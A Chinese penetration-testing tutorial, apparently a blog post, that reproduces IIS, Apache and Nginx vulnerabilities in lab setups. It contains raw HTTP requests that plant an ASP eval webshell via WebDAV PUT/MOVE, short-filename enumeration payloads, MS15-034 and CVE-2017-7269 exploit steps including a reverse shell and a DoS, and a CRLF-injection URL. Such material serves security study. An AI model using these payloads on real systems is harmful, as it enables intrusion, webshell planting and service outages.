常见框架漏洞 中(IIS6.x、IIS7.x、Apache、Nginx)

目录

中间件

IIS

IIS6.x篇

PUT漏洞

漏洞描述

环境

漏洞复现

漏洞复现

工具连接

IIS6.0解析漏洞

IIS短文件漏洞

漏洞描述

原理

复现

短⽂件名特征:

⼯具

[IIS RCE-CVE-2017-7269](#IIS RCE-CVE-2017-7269)

简介

影响范围

复现

利⽤⼯具

反弹shell

Apache

未知扩展名解析漏洞

AddHandler导致的解析漏洞

目录遍历漏洞

原理

复现

[Apache HTTPD 换行解析漏洞(CVE-2017-15715)](#Apache HTTPD 换行解析漏洞(CVE-2017-15715))

Nginx

文件解析漏洞

目录遍历漏洞

描述

原理

漏洞复现

CRLF注⼊漏洞

复现

文件名逻辑漏洞(CVE-2013-4547)

描述

环境

漏洞复现


中间件

中间件(英语:Middleware)是提供系统软件和应⽤软件之间连接的软件,以便于软件各部件之间的沟通。 中间件处在操作系统和更⾼⼀级应⽤程序之间。他充当的功能是:将应⽤程序运环境靶机

漏洞描述环境漏洞复现⾏环境与操作系统隔离,从⽽实现应⽤程序开发者不必为更多系统问题忧虑,⽽直接关注该应⽤

程序在解决问题上的能⼒ 。容器就是中间件的⼀种。

也就是说,关于中间件,我们可以理解为:是⼀类能够为⼀种或多种应⽤程序合作互通、资源共享,同时还能够为该应⽤程序提供相关的服务的软件。(注意:中间件是⼀类软件的总称,不是单独的⼀个软件)。

我们经常管web中间件叫做web服务器或者web容器。

IIS

IIS6.x篇

PUT漏洞

漏洞描述

IlS Server 在 Web 服务扩展中开启了 WebDAV,配置了可以写入的权限,造成任意文件上传。

版本:IIS 6.0

环境

fofa:"lIS-6.0"

本地搭建2003 server

漏洞复现

1)开启 WebDAV 和写权限

2.右键默认网站---点开主目录---全部勾选

3.右键点击默认网站---来宾账户---完全控制

漏洞复现

⽤burpsuite 提交OPTIONS 查看⽀持的协议 :

脚本文档:

用PUT上传文档,但不能直接上传方法脚本文档,可以先上传一个其他类型的文档,然后移动成脚本⽂档:

复制代码
PUT /test.txt HTTP/1.1

Host:192.168.207.133

Content-Length: 29


<%eval request("cmd")%>

使⽤MOVE命令将其更名为脚本⽂档后缀:

复制代码
MOVE /test.txt HTTP/1.1

Host:192.168.207.133

Destination: http://192.168.207.133/shell.asp
工具连接

写⼊成功,菜⼑,蚁剑链接即可。

IIS6.0解析漏洞

在前⾯的解析漏洞有说过,这⾥不在赘述

IIS短文件漏洞

漏洞描述

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16位 Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。

原理

当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。

当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。

目前IS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD.TRACE六种;

IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。

复现

IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现。

短⽂件名特征:

1.只显示前6位的字符,后续字符⽤~1代替。其中数字1是可以递增。如果存在⽂件名类似的⽂件,则前⾯的 6个字符是相同的,后⾯的数字进⾏递增。

2.后缀名最⻓只有3位,超过3位的会⽣成短⽂件名,且后缀多余的部分会截断。

3.所有⼩写字⺟均转换成⼤写的字⺟ ;

4.⻓⽂件名中包含多个"."的时候,以⽂件最后⼀个"."作为短⽂件名的后缀;

5.⻓⽂件名前缀/⽂件夹名字符⻓度符合0-9和A-Z、a-z范围且需要⼤于等于9位才会⽣成短⽂件名,如果包含空格或者其他部分特殊字符,不论⻓度均会⽣成短⽂件。

使⽤payload验证⽬标是否存在IIS短⽂件名漏洞,显示的404,说明⽬标存在该短⽂件名:PS:* 可以匹配n个字符, n可以为0 :

以123123123123.txt⽂件为例:

通过浏览器访问⼀个不存在的短⽂件名,会返回400状态码, 400说明该⽂件不存在:

通过浏览器访问上⾯两个payload,根据返回的结果,可以说明⽬标存在IIS短⽂件漏洞 ;判断漏洞存在后,接下来⼿⼯详细分析猜解IIS短⽂件名:

192.168.207.133/1*~1*/a.aspx

192.168.207.133/2*~1*/a.aspx

通过两次的提交确认了a是404,b是400 所以存在a⽂件开头的短⽂件。通过上⾯的⽅法接着往后猜:

192.168.207.133/12312*~1*/a.aspx

到这⽂件名已经出来了,接着就是判断是⽬录还是⽂件

上⾯判断是⽂件,按照a-z进⾏测试,404表示存在,400表示不存在,第⼀个字符不是a开头的⽂件 :

第⼀个是字符是t开头的,接着往后测试:

按照上⾯的⽅法依次猜解得到该短⽂件名的后缀是txt,短⽂件名为 abcde~1.txt ,可以接着猜解 123123123123.txt⽂件名 。

以上就是原理及漏洞产⽣的流程。接下来使⽤IIS短⽂件名扫描软件,获取⽬标存在哪些短⽂件名;

⼯具

https://github.com/lijiejie/IIS_shortname_Scanner

⽤法:

复制代码
python2 iis_shortname_Scan.py http://192.168.207.133

IIS RCE-CVE-2017-7269

简介

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 lf:<http://开头的长标头执行任意代码 PROPFIND请求:

影响范围

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

复现

右键Web服务扩展---webdav允许

利⽤⼯具

https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

反弹shell

kali下载⼯具,nc监听:

python2 文件 目标IP port 监听IP port

IIS 7x篇

IS7文件解析漏洞

前面的解析漏洞已讲,这里不再赘述。

HTTP.SYS远程代码执⾏(MS15-034) MS-->Microsoft 2015 -034

描述

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,

从IIS6.0引 ⼊,IIS服务进程依赖HTTP.SYSHTTP.SYS远程代码执⾏漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的

Windows系统发送 特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利⽤

此漏洞的攻击者可以在系统 帐户的上下⽂中执⾏任意代码。主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008

R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这

个漏洞。

影响范围

Plain Text

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2

影响版本

Plain Text

IIS7.5、IIS8.0、IIS8.5

环境

windows server 2012 IIS8.5

复现

访问网站;

编辑请求头,增加Range:bytes=0-18446744073709551615字段,若返回码状态为416Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。burp抓包修改请求头:

返回 416 存在此漏洞。

POC:

https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

可以造成⼀个ddos的效果:

填上地址

填上端⼝

主⻚图⽚ iis8.5的是(iis-85.png),其他的可以根据百度查,每个版本的欢迎⻚都不

⼀样

选择 y

python IISDoS.py

这时候就可以看到虚拟机已经变卡了,甚⾄蓝屏。

Apache

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一

apache目录结构:

bin:存放常用命令工具,如httpdcgi-bin:存放linux下常用命令,如xxx.sh

error:错误记录

htdocs:网站源码

icons:网站图标

manual:手册

modules:扩展模块

未知扩展名解析漏洞

解析漏洞有讲,这里不在赘述。

AddHandler导致的解析漏洞

解析漏洞有讲,这里不在赘述。

目录遍历漏洞

原理

当客户端访问到一个目录时,Apache服务器将会默认寻找一个indexlist中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

复现

httpd.conf :

复制代码
<Directory "D:/phpstudy_pro/WWW">

Options +Indexes

AllowOverride All

Order allow,deny

Allow from all

Require all granted

DirectoryIndex index.php

</Directory>

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

解析漏洞有讲,这里不在赘述

Nginx

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好

文件解析漏洞

Nginx解析漏洞有讲,这里不在赘述。

目录遍历漏洞

描述

Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄路。

原理

修改nginx.conf,在如下图位置添加autoindex on

autoindex on 开启目录浏览 autoindex off关闭目录浏览 默认是关闭状态;

漏洞复现

CRLF注⼊漏洞

描述Nginx将传⼊的url进⾏解码,对其中的%0a%0d替换成换⾏符,导致后⾯的数据注⼊⾄头部,造成CRLF 注⼊漏洞。

复现

vluhub靶场:

复制代码
cd /vulhub/nginx/insecure-configuration

设置https跳转,这样就可以接收到url,进⽽进⾏处理。

在 C:\phpStudy\PHPTutorial\nginx\conf\nginx.conf⽂件中添加下⾯⼀⾏话。

复制代码
return 302 https://$host$uri;

构造url,访问

复制代码
192.168.3.162/%0ASet-cookie:JSPSESSID%3D3

可以看到,返回包已经有构造得cookie了。

文件名逻辑漏洞(CVE-2013-4547)

描述

这一漏洞的原理是非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱此漏洞可导致目录跨越及代码执行,其影响版本为:nginx 0.8.41-1.5.6

环境

kali vulhub靶场

复制代码
/nginx/CVE-2013-4547
漏洞复现

访问靶场: http://47.99.98.0:8080/

创建 1.jpg 文件,并上传

抓包,在该文件名最后添加一个空格

上传成功后,浏览器访问 http://192.168.56.134:8080/uploadfiles/1.jpg...php将2e,2e,2e修改为20,00,2e,发包:

相关推荐
中科三方1 小时前
APP和小程序需要注册域名吗?(国科云)
小程序·apache
浩浩测试一下2 小时前
计算机网络中的DHCP是什么呀? 详情解答
android·网络·计算机网络·安全·web安全·网络安全·安全架构
蚁景网络安全3 小时前
从字节码开始到ASM的gadgetinspector源码解析
网络安全
fxshy3 小时前
ai聊天流式响应,阻塞式和流式响应 nginx遇到的坑
运维·javascript·nginx
浩浩测试一下5 小时前
SQL注入高级绕过手法汇总 重点
数据库·sql·安全·web安全·网络安全·oracle·安全架构
Harbor Lau5 小时前
Linux常用中间件命令大全
linux·运维·中间件
谈不譚网安5 小时前
CSRF请求伪造
前端·网络安全·csrf
JM丫6 小时前
PWNOS:2.0(vulnhub靶机)
网络安全
半路_出家ren9 小时前
流量抓取工具(wireshark)
网络·网络协议·测试工具·网络安全·wireshark·流量抓取工具
佳腾_10 小时前
【Web应用服务器_Tomcat】一、Tomcat基础与核心功能详解
java·前端·中间件·tomcat·web应用服务器